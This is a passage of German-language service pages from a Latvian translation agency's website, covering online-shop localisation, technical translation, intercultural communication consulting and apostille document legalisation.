beispielsweise humorvolle Elemente im Text für eine Website, die sich an Kunden im Vereinigten Königreich richtet, angemessen sein, während Kunden in Deutschland genaue Informationen erwarten. Ebenso wichtig ist es, das visuelle Erscheinungsbild Ihrer Website auf Ihr Zielpublikum anzupassen, vom Design bis hin zu den kleinsten Symbolen, um sicherzustellen, dass Kunden aus anderen Ländern sie nicht missverstehen. Benötigen Sie eine Übersetzung für einen Online-Shop? Kontaktieren Sie uns, wir helfen Ihnen gerne! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! WIE ÜBERSETZT UND LOKALISIERT MAN EINEN VON PRESTASHOP GEHOSTETEN ONLINE-SHOP? PrestaShop ist ein Open-Source-E-Commerce-System, die jeder kostenlos herunterladen kann. Mit PrestaShop können Sie einen umfassenden Online-Shop erstellen und eine unbegrenzte Anzahl von Kunden weltweit erreichen. Das bedeutet, dass Sie der ganzen Welt Ihre Produkte und Dienstleistungen in jeder Sprache, die Ihre Kunden verstehen, vorstellen können. Experten empfehlen sogar die Erstellung und Pflege eines PrestaShop-Online-Shops in mehreren Sprachen. Am wichtigsten ist, dass der Inhalt leicht lesbar, verständlich und geeignet für Ihre Zielmärkte und Ihr Publikum ist. Dank des neusten Erneuerung der Inhaltslokalisierung in PrestaShop Version 1. 5 ist die Lokalisierung und Übersetzung der von Ihnen in PrestaShop erstellten Inhalte so einfach wie nie zuvor. WIE ÜBERSETZT UND LOKALISIERT MAN EINEN VON MAGENTO GEHOSTETEN ONLINE-SHOP? Ganz gleich, ob Sie bereits eine der E-Commerce-Plattformen für den Betrieb Ihres Online-Shops nutzen oder ob Sie gerade planen, ein E-Commerce-Unternehmen zu gründen und bald Magento zu nutzen, ist früher oder später die Übersetzung und Lokalisierung Ihres Online-Shops notwendig. Unabhängig von der Größe Ihres Unternehmens unterstützen wir Sie bei der Weiterentwicklung Ihres Unternehmens und helfen Ihnen, neue ausländische Kunden zu gewinnen, denn wir sprechen die Sprachen all Ihrer Kunden. WIE ÜBERSETZT UND LOKALISIERT MAN EINEN VON IDOSELL GEHOSTETEN ONLINE-SHOP? Wenn Sie Ihr Geschäft auf ausländische Märkte ausdehnen wollen, sollte die Einrichtung eines mehrsprachigen Online-Shops an erster Stelle stehen. WIE ÜBERSETZT UND LOKALISIERT MAN EINEN VON SHOPIFY GEHOSTETEN ONLINE-SHOP? Wenn Sie einen Shopify-Shop haben, sollten Sie darüber nachdenken, Ihr Unternehmen international auszudehnen. Dies wird letztlich wird mit dem Verkauf Ihres Produkts belohnt. Vielleicht begann Ihre Reise mit dem Versand an einen neuen Standort. Nun halten Sie es für eine gute Idee, in diesen anderen Markt einzusteigen. LOKALISIERUNG VON GRAFISCHEN ELEMENTEN Eine weitere Herausforderung ist die Anpassung der grafischen Elemente an die Bedürfnisse des Zielmarktes im Zusammenhang mit der Übersetzung und Lokalisierung von Online-Shops. Denn auch die Texte, die auf Bannern, Schaltflächen und Bildern von Online-Shops zu sehen sind, müssen übersetzt und lokalisiert werden. Um dies auf professionellem Niveau zu tun, ist eine enge Zusammenarbeit zwischen Übersetzern und Grafikern erforderlich. ÜBERSETZUNG VON ONLINE-SHOPS - DER SPRACHLICHE TEIL Bei der Übersetzung der Inhalte von Online-Shops achten wir auf die korrekte Darstellung von Maßen, Gewichten, Dimensionen oder Währungseinheiten im jeweiligen Zielmarkt oder -land. Uns ist bewusst, dass falsch verwendete Maßeinheiten, falsch gesetzte Kommata oder Punkte den Kunden in die Irre führen können. Um eine Verbindung zu einem potenziellen Kunden herzustellen, ist es wichtig, Formulierungen zu verwenden, die für eine bestimmte Kundengruppe geeignet sind. Positiv empfundene Ausdrücke in einer Kultur können in einer anderen Kultur möglicherweise sogar beleidigend sein. Um den richtigen Ton zu treffen, Lesefluss zu bewahren und potenzielle Kunden anzuziehen, werden alle Übersetzungen von einem Muttersprachler der Zielsprache Korrektur gelesen. Der Korrekturleser überprüft sorgfältig die inhaltliche und stilistische Richtigkeit der Übersetzung. DIE TECHNISCHE SEITE DER ÜBERSETZUNG UND LOKALISIERUNG VON ONLINE-SHOPS Die Übersetzung und Lokalisierung von Online-Shops umfasst auch IT-Arbeit, vor allem für die Beschaffung der zu übersetzenden Inhalte aus dem Quellcode, da jede Seite aus Elementen besteht, die für den Benutzer nicht sichtbar, aber für die Funktionalität notwendig sind. Einige Plattformen, wie z. B. PrestaShop, bieten bereits grundlegende Funktionen zur Erleichterung der Übersetzung von Produktbeschreibungen an. Produktbeschreibungen und -titel, Produktspezifikationen, sowie Marketinginhalte werden immer von einem Team professioneller Übersetzer angepasst und übersetzt. WEBSITES IN MEHREREN SPRACHEN UND WÄHRUNGEN, DIE VON WORDPRESS GEHOSTET WERDEN WooCommerce Multilingual ermöglicht es Ihnen, Online-Shops in mehreren Sprachen und Währungen zu betreiben. WooCommerce ist die beliebteste und zuverlässigste mehrsprachige E-Commerce-Plattform. Es bietet die Übersetzung von Produkten und Produktvarianten. Auch die Übersetzung aller Texte, die der Kunde beim Einkaufen sieht wird angeboten Ermöglicht Preisgestaltung und Rechnungsstellung in mehreren Währungen. Erleichtert die Identifizierung von SEO-Parametern in verschiedenen Sprachen. Kompatibel mit allen gängigen WooCommerce Plugins und Themen. Inklusive WPML-Bundles - Mehrsprachiges CMS und Mehrsprachige Agentur. GESETZLICHE ANFORDERUNGEN Es ist wichtig, dass jeder Online-Shop die Gesetze des jeweiligen Landes einhält, da eine fehlerhafte oder unzureichende Einhaltung der Formalitäten den Verkauf in dem jeweiligen Land blockieren und schwerwiegende rechtliche Konsequenzen nach sich ziehen kann. Häufig heißt es, dass besondere Hinweise verwendet und hervorgehoben werden müssen und dass eine spezielle Terminologie verwendet werden muss, die den Anforderungen der Verbraucherschutzbehörden und der Strategie der jeweiligen Marke entspricht. In solchen Fällen arbeitet der Übersetzer mit dem Kunden eng zusammen, um ein Glossar mit den wichtigsten Begriffen zu erstellen. GARANTIERTER DATENSCHUTZ Bei der Übersetzung und Lokalisierung von Online-Shops benötigt unser IT-Supportteam häufig Zugang zum Verwaltungsbereich Ihrer Webseite, was zusätzliche Datenschutzprobleme mit sich bringen kann. Wenn Sie jedoch mit dem Übersetzungsbüro Skrivanek Baltic zusammenarbeiten, können Sie sicher sein, dass Ihre Daten mit höchster Sensibilität behandelt und nicht an Dritte gelangen werden. Unsere Sorge um die Sicherheit und Diskretion von Informationen wird durch das ISO 27001-Zertifikat bestätigt. WARUM LOHNT ES SICH, EINEN ONLINE-SHOP PROFESSIONELL ZU ÜBERSETZEN? Die Umsätze im Online-Einzelhandel nehmen jedes Jahr weiter zu. Immer mehr Produkte und Dienstleistungen werden in Online-Shops statt in Geschäften vor Ort gekauft. Dies gilt für alle Arten von Produkten, von Kleidung über Elektrogeräte, Bücher oder Filme bis hin zu Lebensmitteln und Medikamenten. Mit der rasanten Entwicklung des E-Commerce werden Kundenzufriedenheit und -treue jedoch immer wichtiger. Wenn es eine große Auswahl an Online-Shops gibt, entscheiden sich Käufer bekanntlich häufiger für gut funktionierende Online-Shops mit interessanten Inhalten in ihrer Muttersprache. Die intelligente Übersetzung und Lokalisierung der Inhalte Ihres Online-Shops hilft Ihnen, neue Kunden zu gewinnen und den Absatz der Produkte und Dienstleistungen Ihres Unternehmens zu steigern. Wenn Sie eine Übersetzung eines Online-Shops in Auftrag geben möchten - kontaktieren Sie uns! Wir betreuen sowohl kleinere Webseiten als auch große Auktionsportale und passen unsere Arbeitsweise an das jeweilige Projekt an. --- > Professionelle Übersetzungen von technischen Unterlagen, Geräteanleitungen und Software unter Berücksichtigung der Fachterminologie. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tehniska-tulkosana/ - Translation Priorities: Optional WAS IST EINE TECHNISCHE ÜBERSETZUNG? Bei der technischen Übersetzung handelt es sich um eine spezielle Übersetzungsart, die fachspezifische Arbeit erfordert. Es verlangt eine möglichst genaue Wiedergabe verschiedener technologischer Begriffe und Verfahren in der Zielsprache, die kompetente Übersetzung von sehr spezifischen Fachbegriffen und die Einhaltung einer angemessenen Präsentationsart. Auch für die Übersetzung von technischen Dokumentationen, Geräteanleitungen und Software sind perfekte Kenntnisse der Ausgangs- und Zielsprache sowie der Fachterminologie erforderlich. In unserer globalisierten Welt findet ein reger Austausch von technischen Informationen zwischen in- und ausländischen Unternehmen der Informationstechnologie sowie zwischen Herstellern, Wissenschafts- und Innovationszentren und Designern statt. Die Zusammenarbeit wird immer einfacher. Daher sind Dienstleistungen wie die technische Übersetzungen auf dem Markt für Sprachdienstleistungen immer gefragter. Mehr Informationen für andere Übersetzungsbereiche finden sie unter den Rubriken "Übersetzung und Lokalisierung von Webseiten", "Dolmetschen", "Übersetzung von Rechtstexten", "Übersetzung von Werbe- und Marketingtexten", "Übersetzung unterschiedlicher allgemeiner Dokumente" und "notariell beglaubigte Übersetzung". WIR BIETEN TECHNISCHE ÜBERSETZUNGEN IN MEHR ALS 110 SPRACHEN AN Englisch, Arabisch, Armenisch, Tschechisch, Dänisch, Französisch, Griechisch, Georgisch, Hindi, Estnisch, Italienisch, Russisch, Chinesisch, Lettisch, Litauisch, Norwegisch , Polnisch, Portugiesisch, Rumänisch, Slowenisch, Finnisch, Spanisch, Ungarisch, Deutsch, Schwedisch und andere Sprachen. Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99 % der Kunden erhalten einen Kostenvoranschlag in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98 % unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt Benötigen Sie eine Übersetzung eines technischen Textes? Kontaktieren Sie uns! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung für technische Übersetzungen! BESONDERHEITEN DES TECHNISCHEN ÜBERSETZENS Technische Texte enthalten oft Begriffe, für die es keine Entsprechungen in der Zielsprache gibt. Daher befassen sich die Übersetzer manchmal auch mit der Begriffsbildung, indem sie sich mit Experten auf dem betreffenden Gebiet in Verbindung setzen und/oder zusätzliche Literatur lesen, um ein Verständnis für technische Innovationen oder wissenschaftliche Entdeckungen zu erlangen. Wenn der Begriff nur von einer sehr begrenzten Gruppe von Fachleuten verwendet wird, empfehlen Experten, diesen Begriff so nah an der Ausgangssprache zu halten wie möglich, um Missverständnisse zu vermeiden. Unbekannte Begriffe in der Zielsprache zu reproduzieren, kann man beispielsweise, indem man die internationale Verbreitung des Wortes in der Ausgangssprache untersucht. Also ist die Internationalität der Wörter eines der Kriterien für die Entlehnung von Begriffen ins Lettische. In je mehr Sprachen ein internationaler Begriff gefunden wird, desto mehr Grund gibt es, ihn auch in die lettische Sprache zu übernehmen. Solche internationalen Begriffe werden oft auch zu Synonymen für lettische Begriffe, denn neben dem lettischen Begriff, der eine klare Kommunikation innerhalb der lettischen Sprache ermöglicht, erleichtert das internationale Synonym die Kommunikation auf internationaler Ebene. Bei der Übersetzung von technischen Texten müssen die Übersetzer einen formal logischen Schreibstil einhalten. Dieser Stil zeichnet sich durch sachliche Präzision, Sachlichkeit und die Vermittlung von Informationen ohne zusätzliche emotionale Untertöne aus. Diese Merkmale spiegeln jedoch nicht alle Besonderheiten des wissenschaftlichen Stils wider, die ein Übersetzer bei der Übersetzung von technischen Texten beachten sollte. Meistens wird die technische Übersetzung in schriftlicher Form durchgeführt. Die schriftliche Form ist geeigneter und zuverlässiger, da sie weniger Ungenauigkeiten zulässt, die in der Alltagskommunikation vielleicht nicht so wichtig sind, aber im Zusammenhang mit wissenschaftlichen und technischen Texten zu folgeschweren Missverständnissen führen können. Bei der Übersetzung von technischen Texten und Dokumentationen sollten keine grafischen Elemente, Zeichen oder Symbole in der Zielsprache weggelassen werden, da dies zu einer verzehrten Bedeutung des Originals und somit zu schwerwiegenden und dauerhaften Folgen führen kann. WORAUF KOMMT ES BEIM ÜBERSETZEN TECHNISCHER TEXTE AN? Das Übersetzen technischer Dokumente erfordert nicht nur die Fachkompetenz von Übersetzern und Dolmetschern, sondern auch spezifische Kenntnisse in den Bereichen, die von der technischen Dokumentation abgedeckt werden. An der technischen Übersetzung sind in der Regel nicht nur Übersetzer und Dolmetscher beteiligt, die über die entsprechende Fachkompetenz verfügen, sondern auch Redakteure und Terminologen, die sich mit der Terminologie und ihrer Erstellung befassen und sich mit Vertretern der Industrie und Akademikern beraten. Es kann von Vorteil sein, wenn Übersetzer, Dolmetscher und Lektoren auch über praktische Berufserfahrung in einem bestimmten begrenzten Fachgebiet verfügen. Übersetzer und Dolmetscher von technischen Texten müssen auch in der Lage sein, sich in einer großen Menge zusätzlicher Informationen zurechtzufinden und mit ihnen zu arbeiten, z. B. in lokalen und internationalen technischen Normen. Die Suche und Überprüfung von Informationen in zuverlässigen Quellen ist fundamental der Arbeit von Fachübersetzern. Die Ausbildung zum Fachübersetzer kann in Lettland an der Fakultät für Technik und Geisteswissenschaften der Technischen Universität Riga absolviert werden, die den Studiengang Fachübersetzen anbietet. Technische Übersetzungen sind ohne geeignete technische Systeme nicht denkbar. Dabei handelt es sich um Systeme, die vom Kunden speziell für bestimmte Anforderungen bereitgestellt werden oder um Systeme, die vom Übersetzungsbüro verwendet werden. In den Rubriken "Übersetzungstools" und "Neuronale maschinelle Übersetzung" haben wir dies näher beschrieben. WAS SIND TECHNISCHE TEXTE? Ein technischer Text ist ein Text, der spezielle, für eine bestimmte Zielgruppe bestimmte Informationen darstellt. Diese sind für die Durchführung präziser Handlungen oder die Weitergabe wissenschaftlich fundierter Informationen erforderlich. Daher ist der technische Text klar, präzise und kohärent formuliert, d. h. der Fachtext beschreibt und erklärt dem Leser in der Fachsprache jedes kleinste Detail und jeden Vorgang oder liefert theoretische Informationen über die Anwendung von Methoden oder Werkzeugen, mit denen der Leser nicht vertraut ist. Die Sprache der technischen Texte zeichnet sich durch die umfangreiche Verwendung von Begriffen, Abkürzungen und Zahlen aus. Die Ausdrücke sind knapp, präzise und unmissverständlich. Darüber hinaus verfügen technische Texte über beschreibende und anschauliche Merkmale, da der Text Prozesse vorstellt, die auf verschiedenen wissenschaftlichen Erkenntnissen und Fakten beruhen oder weil über die Besonderheiten der Verwendung der genannten Werkzeuge oder Geräte geschrieben wird. Die technische Dokumentation ist das Endergebnis des technischen Schreibens oder ein vorbereiteter Satz von Dokumenten über die Merkmale, Parameter und die Anwendung eines technischen Produkts, das gerade erstellt wird oder bereits im Einsatz ist. Technische Texte decken ein sehr breites Spektrum von Lebensbereichen ab, angefangen bei relativ einfachen Gebrauchsanleitungen von Haushaltsgeräten bis hin zu national bedeutenden militärischen oder technischen Projekten. Viele glauben, dass die technische Dokumentation eine große Menge an Texten ist, die von jedem ohne spezielle Ausbildung verstanden und gelesen werden kann, aber das ist ein Irrglaube und stimmt nicht. Interessanterweise wird die technische Dokumentation heutzutage häufig durch audiovisuelle Daten wie Videoprojektionen oder Tonelemente ergänzt, was die Wahrnehmung und Anwendung der im Text beschriebenen Informationen erheblich erleichtert. Technische Texte müssen förmlich und geschäftsmäßig, so präzise wie möglich sein und eine einheitliche Terminologie verwenden, einschließlich genau wiedergegebener numerischer Fakten, Berechnungen und Messungen. ÜBERSETZUNGSARTEN TECHNISCHER TEXTE Übersetzungen von technischen Projekten, Spezifikationen, Zertifikaten und methodischen Anweisungen. Übersetzungen von Bauunterlagen. Übersetzungen von Bedienungsanleitungen und Katalogen für Anlagen und Geräte. Übersetzungen von Montage- und Betriebsanleitungen. Übersetzungen von Kommando- und Kontrollhandbüchern. Übersetzungen der Beschreibungen von Spezialtechniken verschiedener Branchen. Übersetzungen von Produktionsplänen. Übersetzungen von technischen Präsentationen. Übersetzungen anderer Dokumente, die sich auf die jeweilige Branche beziehen. TECHNISCHE ÜBERSETZUNGEN Im Allgemeinen wird die Übersetzung von technischen Texten mit der Übersetzung von Belletristik, Sachbüchern und anderen kreativen Texten verglichen, da bei der Übersetzung von technischen Texten keine freie Interpretation des Textes möglich ist. Der Begriff "technische Übersetzung" bezieht sich auf die Übertragung und den Austausch von technischen Fachinformationen von einer Sprache in eine andere zwischen Personen, die unterschiedliche Sprachen sprechen. Die Übersetzung technischer Texte steht in engem Zusammenhang mit der Übersetzung wissenschaftlicher und technischer Materialien, da diese in hohem Maße wissenschaftliche und technische Terminologie verwenden. Bei der Übersetzung von technischen Texten besteht die Aufgabe des Übersetzers darin, die Texte aus sehr spezifischen Fachgebieten an die Zielgruppe in der Zielsprache anzupassen. Aufgrund der rasanten technologischen Entwicklung muss der Übersetzer bei der Übersetzung technischer Texte häufig mit Konzepten und Begriffen arbeiten, für die sich in der Zielsprache nur schwer eine Entsprechung finden lässt. In der lettischen Sprache stammen heute viele Fachbegriffe aus englischsprachigen Fachtexten und setzen sich in der Alltagskommunikation viel schneller durch, als Terminologen und Linguisten in der Lage sind, ein entsprechendes Äquivalent anzubieten, was in der Gesellschaft zu breiten Diskussionen über die Korrektheit der Sprache und die Professionalität von Übersetzern führt. Viele Forscher, Sprachspezialisten, Übersetzer und Dolmetscher geben zu, dass es sehr schwierig oder sogar unmöglich ist, zwischen technischen und wissenschaftlichen Übersetzungen zu unterscheiden. --- > Der erste Eindruck von Ihnen und Ihres Unternehmen gibt meistens den Ton für alles Weitere an. Buchen Sie jetzt eine Beratung für Sprache und interkultureller Kommunikation. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/valodas-un-starpkulturu-komunikacijas-konsultacijas/ - Translation Priorities: Optional Der erste Eindruck von Ihnen und Ihres Unternehmen gibt meistens den Ton für alles Weitere an. Der Verkauf Ihrer Waren und Dienstleistungen auf ausländischen Märkten, insbesondere im Internet, ist stets mit gewissen Geschäftsrisiken verbunden. Es heißt, man solle ein Buch nicht nach seinem Einband beurteilen, aber der erste Eindruck von Ihnen und Ihrem Unternehmen auf neuen ausländischen Märkten ist von entscheidender Bedeutung. Das bedeutet auch, dass die Kommunikation über Ihre Waren und Dienstleistungen klar und auf Ihr Zielpublikum zugeschnitten sein muss, wobei sowohl sprachliche als auch kulturelle Unterschiede berücksichtigt werden müssen. In der Wirtschaftsliteratur werden viele verschiedene Beispiele für misslungene Werbeslogans für Produkte gelistet, die zu gescheiterten Unternehmensgründungen führten. Einige Beispiele: Haben Sie gewusst, dass eines der beliebtesten Frühstücksgerichte in Indien Poha ist? Vor einiger Zeit betrat Daimler den chinesischen Markt mit seiner neuen Marke namens „Bensi“, was auf Chinesisch „Eile zum Sterben“ bedeutet. Als Nokia sein neuestes Mobiltelefon „Lumia“ nannte, machte die Marketingabteilung einen fatalen Fehler, indem sie nicht überprüften, wie das Wort in andere Sprachen übersetzt werden könnte. Als die Anzeige ins Spanische übersetzt wurde, stellte sich heraus, dass das Wort „lumia“ Prostituierte bedeutet; In der englischsprachigen Werbung für die Zahnpasta von Pepsodent wurde damit beworben, dass diese die Zähne aufhellen würde. Diese Werbung sorgte in Südostasien jedoch für große Aufsehen. . Die Einheimischen verwenden gezielt Betelnüsse, um ihre Zähne schwarz zu färben, denn schwarze Zähne gelten dort als Schönheitsideal. Bevor Sie also einen neuen ausländischen Markt betreten, sollten Sie unbedingt untersuchen, wie Ihr Produktname und Ihre Markenbotschaft wahrgenommen werden, denn sprachliche und kulturelle Unterschiede können in der Gesellschaft unerwartete und sogar unvorhersehbare Reaktionen hervorrufen, selbst in einem kleinen Markt wie Lettland. Bevor man einen ausländischen Markt betritt, raten wir dazu, sich zu vergewissern, dass die geplante Kommunikationsstrategie mit den folgenden Empfehlungen übereinstimmt: Die gewählte Botschaft ist nicht zu komplex; Es wurden hochwertige Übersetzungen angefertigt und die Werbematerialien lokalisiert und angepasst; In den Texten wird auf idiomatische Ausdrücke und umgangssprachliche Wörter verzichtet; stattdessen wird ein leicht und schnell verständlicher Wortschatz verwendet, den sich der Leser bei Bedarf leicht merken kann; Es wurde auf lokale Traditionen und kulturelle Normen Rücksicht genommen, um Irrtümer und ungewollte Interpretationen von Begriffen zu vermeiden; Die wichtigste Botschaft wird im ersten Satz vermittelt, denn jeder weitere Satz wird von immer weniger Menschen gelesen; Der Slogan der Ware sollte nicht länger als 5 Wörter sein; Der Text ist kohärent. Eine der von Skrivanek Baltic angebotenen Dienstleistungen ist die interkulturelle Kommunikationsberatung, um Kunden bei Eintritt in ausländische Märkte professionell zu unterstützen. Wir analysieren jedes Projekt aus der Perspektive des Zielkunden. Ist der Zielkunde nicht definiert, helfen wir auch dabei, damit die Sprachspezialisten sprachliche und interkulturelle Kommunikationsprobleme genau erkennen und die effektivsten Lösungen finden können. Unsere Spezialisten bewerten die Kommunikationsstrategie der Marke, Produkt- und Dienstleistungsnamen, Verkaufsmaterialien und Produktbeschreibungen und geben Rückmeldung darüber, wie sie vom Zielmarkt wahrgenommen werden könnten und weisen auf mögliche sprachliche oder kulturelle Besonderheiten hin. Wir untersuchen wie Ihre Botschaft ankommt, helfen Ihnen bei der Wahl der richtigen Anrede und stellen sicher, dass der Inhalt mit den lokalen Traditionen übereinstimmt. So können wir dafür sorgen, dass unerwartete negative Verbraucherreaktionen Ihnen erspart bleibt - auch online, denn Ihre Marken- und Produktnamen werden in lokalen Suchmaschinen erscheinen. Unsere Beratungen im Bereich der Anpassung und Lokalisierung umfassen: linguistische Analyse von Firmenlogos, Slogans und Produktnamen; Identifizierung potenziell beleidigender oder mehrdeutiger Wörter und Ausdrücke; Paraphrasierung und Auffinden von Synonymen; Prüfung der Ähnlichkeit und der Assoziationen des Logos Ihres Unternehmens mit anderen Logos des Zielmarktes; Überprüfung ob die Botschaft geeignet für das Zielpublikum ist; Übereinstimmung von Bildern, Farben und anderen visuellen Elementen mit lokalen kulturellen Traditionen. Unser Team besteht aus Linguisten und Experten aus der ganzen Welt, so dass wir Zugang zu den grundlegenden Kenntnissen eines jeden globalen Marktes habenQualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch und Englisch, Deutsch und Polnisch99 % der Kunden erhalten einen Kostenvoranschlag in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98 % unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt BENÖTIGEN SIE BERATUNG IM BEREICH DER INTERKULTURELLEN KOMMUNIKATION? KONTAKTIEREN SIE UNS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! --- > Benötigen Sie eine Beglaubigung / Legalisierung von Dokumenten mit Apostille? Kontaktieren Sie uns und erhalten Sie innerhalb 30 Minuten ein kostenloses Angebot! 🕒 - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/dokumentu-istuma-apliecinasana-apostille/ - Translation Priorities: Optional   VERWENDUNG VON IN DER REPUBLIK LETTLAND AUSGESTELLTEN DOKUMENTEN IM AUSLAND  Wurde das Dokument in einem Land ausgestellt, das Vertragspartei des Haager Übereinkommens von 1961 zur Befreiung ausländischer öffentlicher Urkunden von der Legalisation ist, muss die zuständige ausländische Behörde die Echtheit des Dokuments mit einer Apostille bestätigen.   Eine doppelte Beglaubigung eines Dokuments mit einer Apostille in der Republik Lettland ist nicht erforderlich, da ein in Griechenland mit einer Apostille beglaubigtes Dokument z. B. in Lettland, Polen und mehr als 100 Ländern, die dem Haager Übereinkommen beigetreten sind, gültig ist.   Gemäß Artikel 1 des Übereinkommens vom 5. Oktober 1961 zur Befreiung ausländischer öffentlicher Urkunden von der Legalisation gilt das Übereinkommen nicht für Urkunden, die von diplomatischen oder konsularischen Vertretern ausgestellt werden.   Solche Dokumente können bei der Botschaft, in der das Dokument ausgestellt wurde, und bei der Konsularabteilung des Außenministeriums mit einer Apostille beglaubigt werden. VERWENDUNG VON IN DER REPUBLIK LETTLAND AUSGESTELLTEN DOKUMENTEN IM AUSLAND Ab dem 1. Juli 2019 wird die Beglaubigung von in Lettland ausgestellten öffentlichen Dokumenten, die zur Verwendung in einem Land bestimmt sind, das Vertragspartei des Haager Übereinkommens von 1961 ist, durch einen vereidigten Notar vorgenommen.   Öffentliche Dokumente sind z. B. Schul- und Universitätsabschlüsse, Geburtsurkunden, Strafregisterauszüge, Heiratsurkunden, Gesundheitszeugnisse usw. sowie Vollmachten, die in Lettland ausgestellt werden und zur Verwendung im Ausland bestimmt sind.   Außerdem ist es möglich, elektronisch ausgestellte Dokumente von einem abwesenden vereidigten Notar beglaubigen zu lassen.   NÜTZLICHE TIPPS FÜR DIE VORBEREITUNG VON DOKUMENTEN  Für die Anfertigung einer notariell beglaubigten Übersetzung ist ein vollständig ausgefertigtes und rechtsgültiges Dokument erforderlich. Das Dokument muss die folgenden Informationen enthalten:  Name des Dokumentverfassers; Datum der Dokumenterstellung; Name des Erstellungsorts, Ausstellung und Unterzeichnung des Dokuments; Unterschrift(-en).   Weitere Informationen zur Erstellung von Dokumenten finden Sie in der Kabinettsverordnung Nr. 916, "Verfahren zur Ausarbeitung und Gestaltung von Dokumenten", vom 28. September 2010. Um eine Kopie des Dokuments bei einem Notar beglaubigen lassen zu können, ist das Originaldokument erforderlich.   BENÖTIGEN SIE EINE LEGALISATION MIT APOSTILLE? KONTAKTIEREN SIE UNS!  Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen   Oder buchen Sie jetzt eine Online-Beratung, um mehr über die Chatbot-Optionen zu erfahren!   --- > Machen Sie Gebrauch von Skrivaneks Textanpassung und Copywriting. Ändern Sie Ihre Inhalte und ziehen Sie Ihr Publikum in Ihren Bann. Ihre Worte, unser Handwerk. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: 